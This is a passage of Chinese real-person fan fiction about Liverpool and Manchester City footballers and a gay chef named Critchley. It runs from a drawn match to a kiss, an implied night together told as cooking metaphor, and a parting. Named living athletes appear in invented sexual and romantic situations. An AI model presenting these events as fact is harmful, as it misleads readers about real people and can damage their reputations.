那人突然站定在那里,本来一脸严肃,脸也红扑扑的,在看到他以后先是惊讶了一瞬,表情像吃了一个柠檬,随即双手掐腰,刚要骂人却一个没忍住笑了出来,笑得肩膀都跟着微微颤动。 尽管克里奇利续须,也没遮挡住他原本就唇红齿白的笑模样还有一双勾魂摄魄的大眼睛。 这就是他的标识,上帝炫技之作。 德布劳内看了他半天,又轻轻的摇了摇头。 他的眼神也无处躲藏,于是真挚又坦诚的与他四目相对,还机械般的抬起右手和他打了个招呼。 “嗨,凯文!”他比着口型。 接着他就看到索博斯洛伊从德布劳内身后走了过来,兴奋的冲他微笑挥手,好像误会了他打招呼的对象。 索博一边比划一边说:“嗨,布莱恩!怎么不穿上呢!” 这时德布劳内低下头悄然走进了球员通道。 后面跟上了替补球员凯莱赫,他故意撞了一下索博的肩膀,说了句你可真行啊!上半场跟吃了药似的,下半场继续保持啊! 范戴克也走过来,索博把凯莱赫夸自己的话直接拿来夸范戴克,“队长,你可真行啊,上半场完全看不出感冒来,下半场继续保持啊!” 范戴克揉了揉他的头,说,“早知道你有这本事,我就不以身试险了。” 上半场有一个球,范戴克着急解围差点和格瓦迪奥尔撞在一起,好在索博快速前插把球给铲出了边线,避免了两个壮汉迎面冲撞。 但范戴克说完就脸红了,他想,要是早知道索博能请动看台上的人,他哪来的勇气去体验,这也许就是神的旨意吧。 他也抬头看了一眼家属区的大漂亮,正挥着球衣和他们打招呼,心想,不管,他就是冲我来的,赛前他发了短信,说他想看我比赛,爬也要爬来。 索博走的极慢,好像还想和克里奇利多眉目传情一会,接着就被后面赶上的阿诺德给抱走了,让他赶紧去休息,下半场还指着他往前冲呢。 很快到了下半场,利物浦一度占据先机,但曼城好像来了脾气,拼命把球控在脚底下,宁可不打门也绝不轻易丢失球权。 曼城踢的有脾气,利物浦就更勇,大有一种你越强势我们就越兴奋的主场压迫感。 角球由阿诺德开出,范戴克门前纵身一跃,蹭了一下皮球,皮球应声入网,埃德森没反应过来,利物浦1-0领先。 “噢——天哪!!”球迷中爆发出惊叹,范戴克随即一个漂亮的滑跪冲向角旗,借着惯性又跳了起来,向前挥拳怒吼出声,多么酣畅的一粒进球,太振奋人心了! 克里奇利也激动的热泪盈眶,就是不敢跳起来,想要压住这份激动天知道有多难! 曼城丢了一球,眼见起了攻势,你先动手的别怪我不客气,他们大刀阔斧地把进攻线提到了对方大禁区。 凭借细腻的传导,左右的拉扯,把利物浦的后防线压的很扁,空间越缩越小,在这种夹缝里求生存的高难度突破中,德布劳内一个推进,传给了边路前插的格瓦迪奥尔,后者靶脚怒射推了个大斜线,球进了! 不到2分钟,曼城强势扳平比分。 比赛一直到70多分钟,阿利松出击太早,眼看着球门失守,他不得不犯了个规,扑倒了福登。 点球! 裁判判罚了点球! 这比赛真的是不敢看,心脏病要犯了,克里奇利心想,他们打平行吗,别把我放到煎盘两面煎,谁输了他都看不得。 点球被哈兰德稳稳打进。 比分来到了2-1。 曼城转攻为守,利物浦就机会渺茫了,但利物浦从来都不是一只轻易放弃的队伍,他们只会遇强则强。 比赛只剩十分钟的时候,阿利松坚持不住了,他在扑倒福登的时候就扭伤了脚踝,一直坚持又踢了十几分钟,状态有所下滑于是非战术性换人,让凯莱赫上了。 凯莱赫显得非常兴奋,他上了以后连续承受了曼城梨花暴雨般的攻击,哈兰德门前一脚铲射极具威胁,扑救难度超级大,他注意力相当集中,反应超快,一个猫扑牢牢把球抱在怀里,为了节省时间,他频繁把球开到前场。 终于在补时最后两分钟,他一脚精准找到中路策动的麦卡利斯特,后者横向摆脱,一脚直塞给了本来应该在中场接应的索博,他不知道为什么启动如此之快,竟然跑到了努涅斯的前面,把曼城的后卫骗了,一个神龙摆尾,将球撩了进去。 压哨绝平! 噢天哪,这是什么神剧情,克里奇利都快把挡在脸前的球衣给咬碎了。 还挡什么挡,谁还不知道他来了!下半场曼城攻的紧,镜头跟着来到这边,竟然在阿利松受伤时把家属席上忧心忡忡观看比赛的克里奇利拍上了大屏幕。 球员补水时就听到了现场解说那兴奋的叫声,他说,“噢,英格兰代表队新晋主厨克里奇利先生也来到了比赛现场,看样子他是作为主场球迷来的,真不知道他服务过这么多球队原来是我们利物浦的球迷呀!” 克里奇利脸色煞白,心想我这胡子是白留了,还不如戴个假发扮演索博的女朋友呢。 凯莱赫看了一眼大屏幕,对他胡子拉碴的形象表示不屑:之前还说我留胡子不好看叫我刮了,他呢,却在装模作样扮素人,别人不知道,我还不知道他又想撩直男又怕被认出来给直男添麻烦这点小心思。该,被大屏幕逮住了吧!这回叫你吃不了兜着走!等下发布会索博就得被记着逮住,问他家属票给谁了,看他怎么回答。 不过要是问我,我就说给克里奇利了,怎么招吧,我们利物浦的人就不能吃点好的了?光叫曼城吃?不过,自己替补出场,记者是不会问自己的,想多了。 这场龙争虎斗最终握手言和。 但利物浦和曼城的梁子好像无形中又结下了一层。 格拉利什和福登面色不悦,看上去对阿利松的犯规表示不满,虽然赚到了点球,福登可是吃了两个闷亏,上半场被索博闷到了难以描述的位置,下半场又被阿利松加深了疼痛。他躺在草坪上蜷着腿谁都拉不起来,最终格拉利什把他抱起来,才拄着膝盖一跳一跳的离开场地。 格拉利什还说了让他雪上加霜的话,“布莱恩不在,没人会补啊,你回去冷静几天,我帮你想办法。” 福登惨白着一张脸,愤愤地说,“想什么办法,我又没碎,说真的我真想一脚踢向利物浦的小包厢!(家属区)” “就是,气死我了,隔山观虎斗就罢了,还成了利物浦家属,一会我非打他一顿不可。” 听着他们在嘀嘀咕咕,德布劳内也气不顺,走过去拍拍他俩的肩膀,说了一句,“走吧,都怪我。” 两人面面相觑,虽然德布劳内是这场的队长,但几次进攻没把握住机会也错不在他啊,要怪就怪利物浦太狡诈,客队服务跟不上不说,还请了和他们有旧情的人为主队所用,英超没别人,搞心态他们是一流。 这个结局虽然都不满意,但好在各得1分,也算是没有丢面子。 克里奇利是渔翁得利,最想看到平局的他感冒都自愈了,更别提多舒坦了,要是主队输球,他今晚都不知道该先去安慰谁,要是客队输,那些看到他助阵利物浦的人一准要绑他回曼城,严刑拷打他为什么叛变,搞不好连他出走巴萨做甩手掌柜的旧恨也要一起算算! 等大部队都退场了,他才从家属通道往球馆里走,为了躲避熟人,他跑到利物浦博物馆里消磨时间。 这会没人知道他会来这,参观这里的球迷大多是提前预约,赛前会有免费讲解,很少有赛后还来参观的,再有半个小时博物馆也要关门,他就只能离开安菲尔德球场了。 他一个人在空荡荡的博物馆里沿着利物浦的足迹慢慢品味,说实话,他加盟曼城,巴萨以来都没好好品读一下俱乐部的历史和荣耀,现在看到利物浦百年历史在自己面前一一展开,又因为刚刚领略了一场惊心动魄的比赛,那种对足球的热爱已经从心底沸腾了起来。 他走过那些悬挂在墙上印着号码和名字的球衣,依次映入眼帘的是红色的4号维吉尔,66号阿诺德,8号索博斯洛伊,10号麦卡利斯特,1号阿利松,9号努涅斯,7号迪亚斯…一直到62号凯莱赫。 脑子里出现与之相对应的天蓝,红蓝,红白… 那些人的面孔也在自己眼前一一闪过,虽然不曾有人责怪过他,但他已经心有所愧。 玛德,又想谈恋爱了! 第98章 虽然被这一场比赛吓…… 虽然被这一场比赛吓的心惊肉跳,克里奇利却无比满足。 他看着他那些小伙子们,一个个身怀绝技生龙活虎的样子,无论面对多么强大的对手都不畏惧,那个球争来争去,尽可能地展示着自己的才华和魅力。想着想着他就兀自笑出声来,自己长的也不像个球啊,不,也许是混球,他抬头看着玻璃窗偷笑,对自己高大伟岸的形象再次深深点头。 这时他从橱窗中看到一个人影,那人狗狗祟祟靠近他然后突然偷袭他,被他一眼发现,一回头反偷袭了亲自来接他的索博斯洛伊。 两个人互相抓着手腕,弯着腰在安静的馆里追逐打闹。 克里奇利被他又摸又挠的弄的很痒,好不容易挣脱开他的魔爪,向楼下跑去。索博三步并作两步在后面追他,追到楼下时单手撑住楼梯扶手,大腿一跨就跃了过去,一把搂住了装模作样要逃跑的人。 他俩在博物馆里吵吵闹闹像极了脱离大人看管的熊孩子,看呆了快下班的服务人员。不过索博是自家熊孩子,不上房揭瓦就行,这个点了又没有几个人。 “嘿,尼克。”克里奇利轻喘着叫停,不经意间又喊了人家小名,“恭喜你贡献了一粒进球!”他伸手向索博表示祝贺。 索博和他击了掌,弯着眼睛打量他,知道了他为什么不穿自己的球衣,而是穿了一身烂大街的素人装,还真的续了一脸胡茬,他就是想掩人耳目,可就算是普普通通的黑T恤和牛仔裤也掩盖不住他由内而外散发的性感。 他就是行走的荷尔蒙,往那一站背影就是远山,转过来脸就是秀水。 很难不让人动心动念。 “谢谢!”索博握着他的手,深邃的双目神采熠熠,再次拉他入怀,用力抱紧他。 他轻拍着索博的后背,脸贴上对方的脖子,刚踢完球洗完澡的男人头发还没干,湿漉漉的发梢扫过他的耳朵,怕痒的他忍不住想笑,一阵辛辣的木质香气袭来,让他周身如沐春风,轻飘飘的想要飞起来。 真香。 想吃。 克里奇利狩猎的铃声大震,但直男不好对付,他仍心有余悸。 他不是没招惹过直男。上学的时候虽然掰弯过别人,被人家倒追好几条街,但也有窝囊倒霉的时候。 那个时候他识别男人的能力还不够强,有时候会判断失误,提出和人压马路被拒绝后不说,还被人把储物柜喷上了“该死的基佬”,送他女士内衣,还把他堵在厕所里硬逼他穿上,他差点发疯把那帮霸凌者塞进马桶里淹死,从那个时候他就把歧视他的直男拉进了黑名单。 后来又遇到了一个伪直男神父,说要超度他,骗了他大半年,后来才发现那神父是有家庭的。 他在大街上看见那个老男人带着老婆孩子,迎面走过来对他熟视无睹,还故意亲昵的亲吻他老婆给他看。 过后,更是脸不红心不跳的对他说,你还小,对你做的那些事都是为了让你能早点认识到自己的罪过,早点归顺上帝,不要再去稿男人。 如果他实在想搞,40多岁的“好心”神父依旧在这里等他“帮”他改过自新。 随着他慢慢长大,也渐渐明白了那些龌龊到令人发指的行为。 他找到神父的家,把他家的墙全都涂成了牛鬼蛇神,群魔乱舞,还写下一行大字:【要去地狱也是你先去,丑陋的老瘪三!】 所以,在面对直男索博斯洛伊时,他刻意压抑着心中所想,尽量不做出格的事,不让索博看出来他对他有点想法。 但索博斯洛伊大大咧咧,还特别喜欢扒拉人,那小手在人身上戳戳这戳戳那,就没有消停的时候。 特别是今晚,他看上去心情特别高兴,一路搂搂抱抱,磕磕碰碰的说要请克里奇利喝一杯。 克里奇利本来想拒绝他,但是又答应了赛后等他给他庆功,虽然没赢,也等到这时候了,就听候差遣吧。 他们来到了一家高雅的音乐餐厅,索博却点了汉堡和炸薯条,给克里奇利也点了一份。 克里奇利笑话他不会吃,说这里的招牌是甜虾波奇饭和蔬菜汤,你确定要吃这里卖10磅外面才2磅一个的汉堡吗? 索博神色认真的与他对视,说,“哥们儿我现在很饿,能吃下一头牛,对我来说,饥饿的时候就想吃汉堡炸鸡炸薯条。” 克里奇利摇摇头嫌弃他有一对好眼睛,却看不见好吃的,他说,“我可不陪你吃汉堡薯条,这两份你都吃了吧,我要吃波奇饭或者寿司,这么晚了,太腻的我吃不下。” 索博眨巴眨巴眼睛,有些怀疑地说,“你这么大的体格就吃这么点东西,能行吗?” “怎么不行?我很行。” 克里奇利看着他一口咬掉汉堡的三分之一,鼓着腮帮子一点也不注意形象,大嚼特嚼还咬着牙说话,就觉得他特别可爱,忍不住伸出双手捧起了他的脸。 “嗯?”索博停下咀嚼的动作,一脸迷茫的看着他。 克里奇利灵魂出走了两秒,突然反应过来,对面是一个直男,不是他今晚约会的对象,但这时候收手好像更尴尬。 于是他将错就错的掌心用力,把他的脸挤扁了,挤的嘴巴都撅了起来。 “哈哈…”他还厚颜无耻的笑出声来,“尼克,你的脸肉嘟嘟的,再吃汉堡就变成一只小胖猪。” 索博咽下食物,翻了个白眼给他,又伸手拍掉他的手,佯装生气的回他,“总监说了比赛后可以吃自己想吃的,我都不喝酒了,吃点热量高的怎么了?” “你不喝酒了?你以后不喝酒了还是最近不喝酒了?”克里奇利被他之前醉酒可是吓了一大跳,到现在还心有余悸。 “我一直就不喝酒啊。”索博瞪着俩无辜的大眼睛说瞎话。 克里奇利摸着下巴,回忆起那天里倒歪斜的家伙和今天的是不是同一个人。 索博斯洛伊吃饱了又喝了一大杯无糖可乐,这才心满意足的靠向椅背,笑眯眯的对他说,“对不起嘛,那天的事,唉。” “对不起什么?” “别提了,总之请接收我的歉意。”他拿起啤酒给克里奇利倒了一杯,拿起来恭敬地递到他手上,像中国人敬酒似的。 “亲我的歉意还是吐我的歉意?” “……”索博没喝酒脸也红的发紫跟茄子似的。 “都有吧,唉,布莱恩,能不能给我留点面子。”他抬手摆弄自己的发梢,用手指一缕一缕的卷着,小动作又开始多了起来。 “好,不喝酒好,酒不是什么好东西。”说完他就好像接受某人的道歉一样一口气闷了一大杯啤酒。 索博松了口气,抬头看向脸色微红的男人,就很有安全感的让他想吐露心声。 他转了转盘子,和他聊起自己的事。 他说:“这么跟你说吧,我和我女朋友是青梅竹马,从小就认识,我家里管的严,从来不让我出去闲逛,更别提喝酒了,我一直在自家青训营训练,我爸就是教练,我妈也是运动员,像我这样每天就只有足球的人,是一个标准的三好学生,不吸烟不喝酒不泡妞。邻居们都知道我们院里就那么几个小孩,不知不觉就固定了关系,可以说我们几个好朋友从小玩到大,对彼此已经很熟悉,可是她突然离开我爱上了圈外的人,我一时哪能接受得了。” “所以就酗酒了?” “我又没喝过,怎么知道喝多少能醉呢?说实话我人是醉了,可是头脑很清醒,才知道喝酒并不能解愁,只会让人更难受。” “不喝多一次就悟不出这个道理,恭喜你,尼克,你成为了真正的男人。”克里奇利有些小骄傲的以过来人的口吻自居。 他如此收敛自己的调情本能,而是一本正经地陪直男聊天,却遭到了直男当头一棒。 索博噗嗤一声笑出声来,又重复了一遍,“原来喝酒并不能使自己沉睡再消除记忆。” 克里奇利脑袋瓜转了一下,什么,他说他喝醉了但是没睡着,也就是说那天他和凯莱赫的对话以及被凯莱赫咬破嘴唇的事都被这个头脑清醒的家伙给知道了! 克里奇利眉头一皱,好像被看透了一样浑身不自在,心脏漏风般堵不上那个虚弱,好像喝多了吐人一身酒又强吻别人的是他不是索博。 “我吃饱了,咱们走吧。”他坐不住了。 “等等我啊!”索博跟上他又抓住了他的手腕。 “干嘛?知道了我是什么样的人,主动投怀送抱吗?索博斯洛伊?” “别这么严肃嘛,我也是第一次见到活gay,有点不知所措罢了,本来是给你道歉的,没想到惹你更生气了。” “我没有生气!”克里奇利急于解释,他是gay怎么就不能说了,这一点他也没否认过,但是总有一种被人耍了的感觉,索博既然知道他是gay,还来接近他,搞得他心神不宁。 他看着索博真挚的眼睛,挣了挣手腕,没有挣脱开,于是只好叹了口气,对他说,“我真没有生气,我只是…” 他没道理生索博的气,索博又没做什么出格的事。 “我只是…”他想说我只是本能的照顾别人吃好喝好罢了,顺便自己也吃好喝好,再就是想保护好自己的小受们不被第三个人知道。 他不知道说什么才好,在饭店的拐角处,被索博拉着不松手,想起自己之前可笑的想法,竟然还想打索博的主意,他不笑话自己就不错了。 谁知他刚要往前迈一步,就被索博一把拽去了巷子里。 第99章 索博动作干脆,进攻…… 索博动作干脆,进攻有利,一拽一推就把他按压在墙面上,手掌撑在他微微起伏的胸膛上,借着巷口倾泻进来的柔弱灯光抬头凝望着他。 这一举动太过迅捷,一向主动出击至今仍未有对手的克里奇利都愣住了。 招惹直男没什么好处,坏处一大堆,比如拿他当小姑娘亲。 索博没有解释,心中充满窃喜和激动,他觉得克里奇利是gay真的太好了,不然自己该怎么向他表白呢? 不管前戏做的足还是不足,男人之间的沟通在一个湿润的亲吻之后只有两个方向,一个是去你吗的滚,另一个就是你踏马怎么不早点来! 显然,索博斯洛伊是幸运的,他知道克里奇利的性向以后,在那天夜里那个幽暗的房间里反反复复问自己,才知道自己真的除了那青梅竹马的女朋友之外竟然没有对别人动过心,而照顾他一晚上,被他吐了一身还耍了流氓仍然担心他安危的gentleman,是现实中多么的美好的存在,特别是他遵守诺言的样子真的很迷人。 凝望的那一刹,初恋般的情愫在索博心胸中升起,让他本能的想要亲吻对方。 他的手顺着克里奇利宽阔的肩膀向下,沿着手臂的线条摸到了他的手,手指一根一根地摆进他的指缝中,再举到头顶上,舔了舔嘴唇,看准了那微微开启的朱唇,红着脸贴了上去。 时间仿佛在这一刻静止,索博大脑一片空白,直到对面的人也用力回握了他的手指,动了动嘴唇。 这么轻松的就拿下他了,自己的魅力果然不是盖的,索博知道自己是英超有名有姓的帅哥,又帅又能踢。 这么做未免脸皮太厚,那他也不后悔,球场上当仁不让尽情发挥,生活里也要放开了去做,不然错过了以后都没处说理去。 一向无需解释不必多言只考虑当下的克里奇利竟然被索博主动献吻给整的有些局促。他这是又把自己当成他女朋友了?如果让他在自己这里做直男,那克里奇利成什么事儿了?简直是gay圈耻辱。 但是他一时不急于表态,那软软的,弹弹的,厚厚的触感,让他有一种被焦糖布丁吃掉嘴唇的感觉。 没有人知道今晚的夜色有多疯狂,直男亲了弯男,还足够深情,足够沉浸。 很快克里奇利就不惯着他了,谁给你的勇气,你要付出代价。 他不说话当他是小猫咪呢,他可是伦敦夜场镇圈top1!这样的夜色,nice吧里能得到他垂青的小受简直是走了大运。 今天的索博,绝对是最幸运的那个。 克里奇利会为他打开新世界的大门,让他终生难忘。 克里奇利:“尼克,我是gay,不是女孩子。” 索博:“对不起,冒犯你了,但是我想不出不亲你的理由,你是gay挺好的。” “挺好的?”克里奇利嘴角闪过一丝笑容,“那让你知道知道什么是冒犯吧。” 克里奇利收起笑容,双手抱住他的头,一个上步摆胯就转换了身位,反过来把他压在了墙面上,他捧起他的脸,额头抵在他的额头上,后颈绷直用了一些力气,像极了场上顶牛对峙,压迫感陡然形成,让人无法抗拒。 接着他就偏过来侧过去的亲吻他,没有一丝一毫的迟疑,也没有商量的余地,他是个不点都着的危险分子,说干就干,根本不需要理由,你索博知道我是个gay想要玩玩也好,没试过想要猎奇也罢,只要送到我嘴边的,不吃还留着吗? 那点刚培养起来的愧疚之心和想要谈恋爱的想法又抛到九霄云外去了,先吃了索博再说! 吻了一会,克里奇利意犹未尽的舔了舔他的嘴唇,又伸手试探了一下,说,“走吧,去你那还是我那?” 说这话时,克里奇利脸不红心不跳,像吃家常便饭一样简?*? 单。 这回轮到索博面红耳赤支支吾吾说不出话来,刚才那点勇气都被一个深吻给吃掉了。 索博:“……” 克里奇利:“怎么了?害怕了?晚了!” 他大长胳膊一伸,搂着索博的腰就迈出了巷子,感觉到怀里的人腿发软走不成直线,于是搂得很紧,几乎是夹着他往停车场走。 这个身高体重他熟悉,只不过比那天要轻盈上许多,抱起来还挺有手感的,索博的身材太好了,腰上一点赘肉都没有,而且肌肉都是一块一块的,他的手指正好卡在腹外斜肌和胯骨之间的那处肌肉窝里,他不听话就捏捏他,保证他又爽又酥还不能反抗。 索博把他带回了自己家,一进门,索博就先和他说好了,我不管你们gay圈是什么规则,总之我不在下面。 克里奇利听了就笑了,他说,“索博斯洛伊,你招惹我然后说自己不在下面,就好像是买了一个奶油蛋糕,放在那摆着看不吃是一个道理。” 克里奇利一边麻利地脱衣服一边靠近他,低磁慵懒的声音在他耳边流淌,“你总要试试。” “我…我…”索博一步一步往后退。 “是好是坏,等你尝完了再说。”克里奇利双手轻推他肩膀,他就向后仰倒,躺在了柔软的天鹅绒床铺上。 他眨巴眨巴水灵灵的大眼睛,有些紧张地往后退,一边退到床头一边说,“可奶油蛋糕不会攻击我,你,我有点不太放心。” “我比蛋糕还甜。” 说着他就跪着上来,还活动了一下脖子,宽阔的身量把索博困在了身下。 索博斯洛伊,英超最性感的男人之一,雄性荷尔蒙爆棚的他不仅在球场上彰显着优质男性的魅力,床上的他更加狂野粗犷,害羞了1分钟不到,就放开了手脚与眼前这位温柔强大的大美攻近身肉搏。 与留了两天胡子看上去是个熟男的克里奇利相比,索博毛发更重,浑身上下除了前胸后背辟谷之外全是毛,更像一个没进化好的野人。 他捏着克里奇利的手不让他放在自己的腿上,有些难为情的说,“早知道和你这么快,我就去脱毛了,是不是太扎的慌?” 克里奇利笑说:“哈哈,没事,这样暖和,你比别人多穿条毛裤。” “去你的!”索博打了他后背一巴掌,发出一声脆响。 “你倒是会长,大腿光滑的像女人一样,是不是做毛发管理了?” “我唯一的毛发管理都在头上了,身上真没做,我就是你们的礼物,一个昂贵光滑的大花瓶,天然打磨,既能观赏又能把玩。” “你说的啊,可以把玩,那我不客气了!”索博抓住他话里的把柄,翻身做1,可还没等稳固位置,就被他一把抓住了双腕,扭送着进了浴室。 “你个直男,什么都不懂,想要愉快进行,必须从头到尾做好准备,不然咱俩明天都废了!” 克里奇利就知道,直男麻烦,老是想抢位置,但索博还行,没有像德布劳内那样那么任性强势,也不像加纳乔那样那么反叛暴力,倒是和鲁本迪亚斯有些像,敢于尝试,又不甘被引导,最后还是无比信任的把自己交给他来处理。 那他可就放开了整了。 他最擅长的就是热锅凉油,一手持锅沿,一手拿锅铲,腰腹发力,手臂承重,延时能力超强,颠大勺不带停的,直到肉变色,料下足,色香味俱全,再关火闷一会,利用余热让食物更加鲜嫩入味,也好让自己和食物都缓一缓,一会上桌了定是个拿手菜,做啥啥香。 …… 两人吃了以后躺在床上仍然意犹未尽,还想再回回锅,索博突然想到之前的事,忍不住调侃他,“你可真会睡,睡了我们利物浦几个了?” 克里奇利知道瞒不了他,于是坦诚说道,“没有谁。” “放屁呢,我看他们看你的眼神都黏黏糊糊的,阿诺德?阿利松?范戴克?麦卡利斯特?凯莱赫?” 索博斯洛伊一个一个的念下去,念一个抬头看看克里奇利的表情,凭借细心的观察来判断到底他是第几个。 克里奇利面色不改,对他说的这些名字都没有任何反应,最后只含含糊糊的承认了一个,他说,“我来了一共就这么几天,就算一天一个不重样不至于你说的这么多吧,好了,我就亲过一个,凯莱赫,你知道的。” 随后他捂了捂索博的嘴,告诉他千万别说出去,就怕你们因为这个闹矛盾。 索博瞪他一眼,骂他是个大祸害,一睡就睡了我们队的队花。 他挠挠头,低头看着怀里的人,搂紧了些,对他说,“嗯,还有队草。” 接着就被怀里的队草踢了一脚,又按住肩膀把他反亲了个透。 唉,直男碰不得,光是和他转换视角就转换了一宿,不拿出点看家的本事,就又被直男给端了,但直男真的很香,爆发力十足,劲儿大稳健,和他你来我往的充满着挑战和刺/激,像一段不知旅程的公路冒险,途中经历许多震撼辣眼的风景,体验疯狂又过瘾的飙车,让人一旦着了道就迟迟不愿离开。 第100章 不知睡了多久,克…… 不知睡了多久,克里奇利才从索博的床上爬起来。 这才看清房间里的陈设,白天床头的氛围灯不亮了,精简怀旧的装修风格透着主人朴实无华的物质追求,他身上迷人的沉香味儿都是这些木制家具在长期的阳光照射下慢慢熏染出来的自然香。 克里奇利环视着房间,竟有一种虚无缥缈的不真实感。 自从离开伦敦,他不是住酒店就是住别人家,每天早上醒来总要回忆昨晚和谁发生了什么这又是在哪,以便一会和那个人说一声早安和再见,起码对方的名字得知道吧。 不知不觉,他也觉得自己改变了不少,那种第二天叫不出别人名字的斑斑劣迹已经改的差不多了。 优秀品德正在慢慢形成,他满意的坐起来,伸了个懒腰,看向厨房那个忙碌的身影。 多米尼克.索博斯洛伊。 他在心里喊出了人家的全名。 他套上裤子,扶着腰下床,一边回想昨晚的激烈战斗一边摇头晃脑怒赞自己青春不减当年,就是有点健忘而已,好像又玩杂耍了,不然沙发怎么倒的,窗帘怎么掉的,地上还散落着三五个小方包装袋,真实,太tm真实了! 腰上传来的阵阵酸痛也提醒着他,一宿都干了什么。 他胡乱洗了把脸,赤着上身走进厨房。 厨房开着油烟机,声音有点大,索博没听见他的脚步声,被他突然贴上来环住腰身吓了一跳,回头冲他笑笑,说了一句,“你起来啦,快尝尝我做的牛肉汤。” 克里奇利惊讶的睁大了他那迷离惺忪的睡眼,慨叹了一声,“噢,尼克,你在给我做早饭吗?” “是呀,宝贝,让你尝尝我的手艺,这是我最喜欢的匈牙利炖牛肉汤,搭配牛角包,可好吃了!”他又把他当女孩子宠,还叫他宝贝。 索博拉着他坐下,眼神闪烁地看了一眼他的胸肌,又慌忙挪到了汤勺上,一个没拿稳,汤勺掉进碗里溅了几滴热汤出来,正好溅到了自己的手背上。 他本能的甩甩手再用舌头去舔,不料被自己做的汤给呛辣到咳嗦,眼底瞬间起了一层雾。 “没事吧。”克里奇利抓住他的手腕带他到水龙头下冲冷水。 “没事,不烫,有点辣而已。”他任由他熟练的冲水,抿嘴不好意思地笑着。 这两个hot一出口,惹得克里奇利也笑出声,他明白他的意思,但英国人一般不这么说。 “你来这么久了,说的都是什么塑料英语。”克里奇利毫不客气的调侃他。 “就是hot,hot hot hot !”他一连说了好几遍,那不落下风的样子跟昨晚争位置时的表现如出一辙。 克里奇利:“你也不错了,没学会利物浦口音就算好的,不然咱俩就没法沟通,凯莱赫那小子有时候说话我就听不懂,他非说我这伯明翰口音是美式英语,我真服了,我这多标准的伦敦腔啊,是吧尼克?”克里奇利靠近了他,抬手摸了摸他的头。 索博接着又反摸回来,用标准的英式幽默开他玩笑,“是,你的伦敦腔太好听了,千万别蹦出来伯明翰腔,会拉低你的颜值。” “哈哈哈哈……”两个人笑成一团。 索博做的汤虽然有点失败,好在不难吃,克里奇利又给他煎了个蛋饼,两个人嘶哈嘶哈的喝完一碗又热又辣的牛肉汤,出了一身汗。 洗澡的时候又因为谁转过去的问题打闹了好一会儿,最终直男还是败给了在这方面有着绝对优势和丰富经验的英国绅士。 索博趴在他胸口上,恋恋不舍的对他说,“要不你别走了,留在利物浦,阿诺德那家餐厅我也有份儿,不如你也加盟进来,咱们一起合作准能做出名堂来。” 克里奇利笑了一声,没回答他。 他接着开始幻想:“就凭你的本事,开上百十家连锁店不成问题。” “尼克,我孑然一身,生不带来死不带去,物质只是我品味的象征符号,我真正的归宿是随心所欲,没有什么可以困住我。” “你就是不想负责任,说的那么好听!”他推开他,从他的胳膊弯里绕出来,有些失望的穿好衣服,把沙发摆正,坐下来强迫自己不看他。 克里奇利也收拾好自己,准备告别。 他看了一眼坐在沙发上像雕塑一样的男人,主动走过去,弯下腰在他的面颊上亲了一口,对他说,“尼克,你很出色,前途一片坦荡,再加上你这敢爱敢恨的性格,会有很多人喜欢你的。” “我需要吗?”索博翻了个白眼,“我要是需要,就凭我这张脸也能混的跟你似的。” “哈哈,那当然。”克里奇利夸他的能力和性格没夸他长得俊还惹到他了,于是抬手揉了揉他的卷毛,丢下一句发自肺腑但却保持适度距离的话,他说“我会关注你的”,接着离开了索博的家,离开了利物浦。 索博一个人坐在空荡荡的房间,到处都是他存在过的痕迹。 “你是生命,也是虚无。”他喃喃自语,反复念叨着这句不知从哪看来的诗句,陷入了深深地想念。 而克里奇利在回程的飞机上,也感觉到内心的空虚和沉闷,纵然快乐一夜,时间再长也不过是几个小时。他以前从不在乎离别,总是视离别为下一次约会的起点。而现在,越来越多的离别像刀子一样一下一下切割他记忆海绵里的神经,让他感到阵阵钝痛。 要是稳定下来,会毁了现在的一切吗。那些曾经他服务过的人,哪一个不配和他拥有未来,都在他冷酷决然的拒绝和草率的离开后变的越来越模糊,也越来越清晰。 如果他对下一个付出真心,会不会收获美好的爱情? 不,爱情都是扯几把蛋,会让他陷入无休止的琐碎和争吵中,更别提婚姻,原生家庭的破碎不堪让他对爱情没有信心,对婚姻更是连想都没有想过。 他都能想象得到,如果他把他的男友或者叫未婚夫的人介绍给伦敦小分队的狗友们,介绍给他凯恩哥和托马斯弟的时候,他们不说一句“Jesus Christ!这世界是要毁灭了吗?”这种话来揶揄他才怪。 所以,他才不要去谈那些毁人设让他没有魅力承认自己老了的狗屁恋爱。 但是,人算不如天算,即便是造物主捏了他的完美身体,给了他一个谁都不爱只爱自己的臭屁性格,也不能预测他飞机甫一落地就扯上一堆红线,毫无征兆地就落入了情网,让他不得不接受这从天而降的缘分。 说来也巧,他这天穿了一件酒红色的针织衫开衫,里面是一件白T恤,阳光帅气还透着一丝性感,就算他不想在机场这种地方随便散发魅力,也有天降奇缘砸到他头上。 这次是扯到他身上。 从摆渡车上下来他就觉得后背凉飕飕的,伸手摸了摸,脸上突然变了个色号,这衣服竟然是镂空装吗,怎么买的时候没发现,他又摸了摸,不是镂空装,是根本没有了毛线,衣服背面的料子突然不见了。 顺着地上的红线他才发觉,这准是勾住哪里了,越走越远布料扯的越来越少,而且现在还在减少。 他觉得太好笑,又笑不出来,这时旁边的人都在指着他笑,他才意识到这人啊就是不能出名,还好在德国,谁都不认识他,那也有拿出手机来拍照的热情观众,何况是他这么一个漂亮的显眼包。 他唯有立刻马上抬脚去追,追那个该死的离家出走的线头,这什么牌子以后再也不买了,噢不行,离了普拉达自己活不了,普拉达为自己赚了不知多少眼球,这次是最离谱的。 终于在一个拐角处和“偷”他毛线的人撞了个满怀。 那人纹丝不动,他却被仰面撞翻躺在地上,两条大长腿快撩到天上去了,真真又一个丢大分。 出门没看黄历吗,还是最近得罪人的事干的猛了,还有脸见人吗,他捂着脸坐起来,面前就伸过来一只大手。 他顺着大手看到这支麒麟臂,一时以为是撞到了变形金刚。 再抬头一看,好家伙,这人又高又壮,宽肩窄臀,肌肉紧实,确实很像威震天啊。 再看他脸,可以说是眉清目秀,神采奕奕。 他拥有一头浅金色头发,刘海柔软顺滑地散落在额前,肤色略呈小麦色,眼睛好像深深的湖底透着神秘深邃的光,在强光下微微泛着蓝。他脸型较窄,下颌线清晰分明,眉锋微微上扬,鼻梁挺拔,嘴唇性感饱满,笑起来露出一口洁白整齐的牙齿,看上去阳光极了,简直是极品! 这人好眼熟,克里奇利怔了一下,手里还捏着一团毛线,尴尬的没伸手。那人以为他摔痛了,走到他身后把手伸进他腋下像拔葱一样把他从地上拔了起来。 他一站起来,还比这个金发男人高上几公分。这一点没输,他心里还有点滋儿。 “你还挺高的。”这是金发男人对他说的第一句话,是西语。 丸辣,又一个西班牙人,我怎么还没学会西语呢,不,这不是在德国吗。 